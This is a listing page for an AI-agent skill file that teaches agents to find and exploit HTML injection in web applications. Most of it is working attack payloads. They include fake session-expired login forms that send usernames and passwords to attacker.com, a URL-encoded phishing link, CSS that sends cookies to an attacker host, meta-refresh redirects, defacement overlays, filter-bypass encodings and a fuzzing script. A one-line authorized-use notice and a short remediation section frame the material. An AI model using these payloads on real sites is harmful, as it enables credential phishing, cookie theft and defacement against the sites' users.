html-injection-testing
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
Best use case
html-injection-testing is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
Teams using html-injection-testing should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/html-injection-testing/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How html-injection-testing Compares
| Feature / Agent | html-injection-testing | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
# HTML Injection Testing
## Purpose
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
## Prerequisites
### Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- Tamper Data or similar proxy
- cURL for testing payloads
### Required Knowledge
- HTML fundamentals
- HTTP request/response structure
- Web application input handling
- Difference between HTML injection and XSS
## Outputs and Deliverables
1. **Vulnerability Report** - Identified injection points
2. **Exploitation Proof** - Demonstrated content manipulation
3. **Impact Assessment** - Potential phishing and defacement risks
4. **Remediation Guidance** - Input validation recommendations
## Core Workflow
### Phase 1: Understanding HTML Injection
HTML injection occurs when user input is reflected in web pages without proper sanitization:
```html
<!-- Vulnerable code example -->
<div>
Welcome, <?php echo $_GET['name']; ?>
</div>
<!-- Attack input -->
?name=<h1>Injected Content</h1>
<!-- Rendered output -->
<div>
Welcome, <h1>Injected Content</h1>
</div>
```
Key differences from XSS:
- HTML injection: Only HTML tags are rendered
- XSS: JavaScript code is executed
- HTML injection is often stepping stone to XSS
Attack goals:
- Modify website appearance (defacement)
- Create fake login forms (phishing)
- Inject malicious links
- Display misleading content
### Phase 2: Identifying Injection Points
Map application for potential injection surfaces:
```
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
```
Common vulnerable parameters:
```
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
```
### Phase 3: Basic HTML Injection Testing
Test with simple HTML tags:
```html
<!-- Basic text formatting -->
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>
<!-- Structural elements -->
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks
<!-- Links -->
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>
<!-- Images -->
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)"> <!-- XSS attempt -->
```
Testing workflow:
```bash
# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"
# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
```
### Phase 4: Types of HTML Injection
#### Stored HTML Injection
Payload persists in database:
```html
<!-- Profile bio injection -->
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
<h1>Site Under Maintenance</h1>
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
</div>
<!-- Comment injection -->
Great article!
<form action="http://attacker.com/steal" method="POST">
<input name="username" placeholder="Session expired. Enter username:">
<input name="password" type="password" placeholder="Password:">
<input type="submit" value="Login">
</form>
```
#### Reflected GET Injection
Payload in URL parameters:
```html
<!-- URL injection -->
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
<!-- Search result injection -->
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
```
#### Reflected POST Injection
Payload in POST data:
```bash
# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
http://target.com/register
```
#### URL-Based Injection
Inject into displayed URLs:
```html
<!-- If URL is displayed on page -->
http://target.com/page/<h1>Injected</h1>
<!-- Path-based injection -->
http://target.com/users/<img src=x>/profile
```
### Phase 5: Phishing Attack Construction
Create convincing phishing forms:
```html
<!-- Fake login form overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;">
<h2>Session Expired</h2>
<p>Your session has expired. Please log in again.</p>
<form action="http://attacker.com/capture" method="POST">
<label>Username:</label><br>
<input type="text" name="username" style="width:200px;"><br><br>
<label>Password:</label><br>
<input type="password" name="password" style="width:200px;"><br><br>
<input type="submit" value="Login">
</form>
</div>
<!-- Hidden credential stealer -->
<style>
input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
<input name="user" placeholder="Verify your username">
<input name="pass" type="password" placeholder="Verify your password">
<button>Verify</button>
</form>
```
URL-encoded phishing link:
```
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
```
### Phase 6: Defacement Payloads
Website appearance manipulation:
```html
<!-- Full page overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:#000;color:#0f0;z-index:9999;
display:flex;justify-content:center;align-items:center;">
<h1>HACKED BY SECURITY TESTER</h1>
</div>
<!-- Content replacement -->
<style>body{display:none}</style>
<body style="display:block !important">
<h1>This site has been compromised</h1>
</body>
<!-- Image injection -->
<img src="http://attacker.com/defaced.jpg"
style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
<!-- Marquee injection (visible movement) -->
<marquee behavior="alternate" style="font-size:50px;color:red;">
SECURITY VULNERABILITY DETECTED
</marquee>
```
### Phase 7: Advanced Injection Techniques
#### CSS Injection
```html
<!-- Style injection -->
<style>
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
.content { display: none }
.fake-content { display: block }
</style>
<!-- Inline style injection -->
<div style="background:url('http://attacker.com/log')">Content</div>
```
#### Meta Tag Injection
```html
<!-- Redirect via meta refresh -->
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
<!-- CSP bypass attempt -->
<meta http-equiv="Content-Security-Policy" content="default-src *">
```
#### Form Action Override
```html
<!-- Hijack existing form -->
<form action="http://attacker.com/steal">
<!-- If form already exists, add input -->
<input type="hidden" name="extra" value="data">
</form>
```
#### iframe Injection
```html
<!-- Embed external content -->
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
<!-- Invisible tracking iframe -->
<iframe src="http://attacker.com/track" style="display:none"></iframe>
```
### Phase 8: Bypass Techniques
Evade basic filters:
```html
<!-- Case variations -->
<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>
<!-- Encoding variations -->
<h1>Encoded</h1>
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
<!-- Tag splitting -->
<h
1>Split Tag</h1>
<!-- Null bytes -->
<h1%00>Null Byte</h1>
<!-- Double encoding -->
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
<!-- Unicode encoding -->
\u003ch1\u003eUnicode\u003c/h1\u003e
<!-- Attribute-based -->
<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>
```
### Phase 9: Automated Testing
#### Using Burp Suite
```
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
```
#### Using OWASP ZAP
```
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
```
#### Custom Fuzzing Script
```python
#!/usr/bin/env python3
import requests
import urllib.parse
target = "http://target.com/search"
param = "q"
payloads = [
"<h1>Test</h1>",
"<b>Bold</b>",
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<a href='http://evil.com'>Click</a>",
"<div style='color:red'>Styled</div>",
"<marquee>Moving</marquee>",
"<iframe src='http://evil.com'></iframe>",
]
for payload in payloads:
encoded = urllib.parse.quote(payload)
url = f"{target}?{param}={encoded}"
try:
response = requests.get(url, timeout=5)
if payload.lower() in response.text.lower():
print(f"[+] Possible injection: {payload}")
elif "<h1>" in response.text or "<b>" in response.text:
print(f"[?] Partial reflection: {payload}")
except Exception as e:
print(f"[-] Error: {e}")
```
### Phase 10: Prevention and Remediation
Secure coding practices:
```php
// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// PHP: Strip tags
echo strip_tags($user_input);
// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');
```
```python
# Python: HTML escape
from html import escape
safe_output = escape(user_input)
# Python Flask: Auto-escaping
{{ user_input }} # Jinja2 escapes by default
{{ user_input | safe }} # Marks as safe (dangerous!)
```
```javascript
// JavaScript: Text content (safe)
element.textContent = userInput;
// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput; // Vulnerable!
// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
```
Server-side protections:
- Input validation (whitelist allowed characters)
- Output encoding (context-aware escaping)
- Content Security Policy (CSP) headers
- Web Application Firewall (WAF) rules
## Quick Reference
### Common Test Payloads
| Payload | Purpose |
|---------|---------|
| `<h1>Test</h1>` | Basic rendering test |
| `<b>Bold</b>` | Simple formatting |
| `<a href="evil.com">Link</a>` | Link injection |
| `<img src=x>` | Image tag test |
| `<div style="color:red">` | Style injection |
| `<form action="evil.com">` | Form hijacking |
### Injection Contexts
| Context | Test Approach |
|---------|---------------|
| URL parameter | `?param=<h1>test</h1>` |
| Form field | POST with HTML payload |
| Cookie value | Inject via document.cookie |
| HTTP header | Inject in Referer/User-Agent |
| File upload | HTML file with malicious content |
### Encoding Types
| Type | Example |
|------|---------|
| URL encoding | `%3Ch1%3E` = `<h1>` |
| HTML entities | `<h1>` = `<h1>` |
| Double encoding | `%253C` = `<` |
| Unicode | `\u003c` = `<` |
## Constraints and Limitations
### Attack Limitations
- Modern browsers may sanitize some injections
- CSP can prevent inline styles and scripts
- WAFs may block common payloads
- Some applications escape output properly
### Testing Considerations
- Distinguish between HTML injection and XSS
- Verify visual impact in browser
- Test in multiple browsers
- Check for stored vs reflected
### Severity Assessment
- Lower severity than XSS (no script execution)
- Higher impact when combined with phishing
- Consider defacement/reputation damage
- Evaluate credential theft potential
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.Related Skills
html-to-image-automation
Automate Html To Image tasks via Rube MCP (Composio). Always search tools first for current schemas.
xss-html-injection
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.
wordpress-penetration-testing
Assess WordPress installations for common vulnerabilities and WordPress 7.0 attack surfaces.
web3-testing
Master comprehensive testing strategies for smart contracts using Hardhat, Foundry, and advanced testing patterns.
web-security-testing
Web application security testing workflow for OWASP Top 10 vulnerabilities including injection, XSS, authentication flaws, and access control issues.
unit-testing-test-generate
Generate comprehensive, maintainable unit tests across languages with strong coverage and edge case focus.
temporal-python-testing
Comprehensive testing approaches for Temporal workflows using pytest, progressive disclosure resources for specific testing scenarios.
ssh-penetration-testing
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
sqlmap-database-pentesting
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap.
sql-injection-testing
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms.
smtp-penetration-testing
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration.
screen-reader-testing
Practical guide to testing web applications with screen readers for comprehensive accessibility validation.